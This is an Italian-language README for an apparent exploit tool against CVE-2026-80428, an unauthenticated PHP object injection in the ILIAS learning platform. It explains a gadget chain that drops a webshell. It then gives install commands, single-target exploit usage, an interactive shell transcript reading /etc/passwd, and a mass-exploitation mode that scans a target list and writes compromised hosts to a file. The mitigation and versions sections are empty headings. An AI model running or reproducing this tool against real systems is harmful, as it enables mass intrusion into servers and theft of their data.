CVE-2026-80428

📖 Indice

• 🔍 Panoramica
• ⚙️ Catena di vulnerabilità
• 🎯 Versioni interessate
• ✨ Funzionalità
• 📦 Installazione
• 🚀 Utilizzo
  • Exploit su singolo target
  • Shell interattiva
  • Sfruttamento massivo
• 📁 Formato della lista dei target
• 🖼️ Screenshot
• 🛡️ Mitigazione
• 📢 Canali e community
• ⚠️ Disclaimer

🔍 Panoramica

CVE-2026-80428 è una vulnerabilità critica di PHP Object Injection non autenticata che interessa il Learning Management System ILIAS. Concatenando una primitiva di session poisoning in ltiauth.php con una chiamata unserialize() non sicura in shib_logout.php, un attaccante può ottenere una scrittura arbitraria di file e infine l'Esecuzione di Codice Remoto (RCE) — il tutto senza autenticazione.

⚙️ Catena di vulnerabilità

flowchart LR
    A[🎯 Attacker] -->|1. Poison Session| B[ltiauth.php]
    B -->|Serialized Guzzle Gadget| C[PHP Session Store]
    C -->|2. Trigger unserialize| D[shib_logout.php]
    D -->|Shibboleth SOAP Request| E[FileCookieJar Gadget]
    E -->|3. file_put_contents| F[💀 Webshell Dropped]
    F -->|4. Execute| G[🔓 RCE]

    style A fill:#ff4444,color:#fff
    style F fill:#ff0000,color:#fff
    style G fill:#8b0000,color:#fff

Procedura passo-passo:

1. ltiauth.php memorizza un payload serializzato all'interno della sessione PHP senza validazione.
2. shib_logout.php elabora una richiesta SOAP Shibboleth LogoutNotification appositamente costruita e chiama unserialize() sui dati della sessione.
3. Il gadget GuzzleHttp\Cookie\FileCookieJar invoca file_put_contents() per rilasciare una webshell PHP in un percorso controllato dall'attaccante.

🎯 Versioni interessate

✨ Funzionalità

📦 Installazione

# Clone the repository
git clone https://github.com/HackfutSecRoot/CVE-2026-80428.git
cd CVE-2026-80428

# Install dependencies
pip install requests urllib3

# (Optional) Make executable
chmod +x CVE-2026-80428.py

Requisiti:

• Python 3.8+
• requests
• urllib3

🚀 Utilizzo

python3 CVE-2026-80428.py <mode> [options]

📌 Exploit su singolo target

python3 CVE-2026-80428.py exploit 10.10.10.20
python3 CVE-2026-80428.py exploit 10.10.10.20 --port 8443 --path /var/www/html
python3 CVE-2026-80428.py exploit target.com --host-header ilias.internal

Opzioni:

💻 Shell interattiva

python3 CVE-2026-80428.py shell 10.10.10.20

ilias$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

ilias$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...

ilias$ exit

🚀 Sfruttamento di massa

python3 CVE-2026-80428.py mass -l targets.txt -t 32 -o pwned.txt

Opzioni:

📁 Formato della lista dei target

Crea un file targets.txt:

# Comments start with #
10.10.10.20
10.10.10.21:8443
https://ilias.example.com
http://lms.target.local
192.168.1.50:8080

# Mixed formats are supported
example.org

Formati supportati:

• host
• host:port
• http://host
• https://host:port
• host/path (percorso rimosso)

🖼️ Screenshot

  [  42/500] VULN  10.10.10.20:443     https://10.10.10.20:443/util_a1b2c3.php?x=id
  [  43/500] SAFE  10.10.10.21:443     [PATCHED]
  [  44/500] ERR   10.10.10.22:8443    [Connection timed out]

  [44/500] VULN:12  SAFE:30  ERR:2  8%

🛡️ Mitigazione

Per difensori e amministratori di sistema:

📢 Canali e Community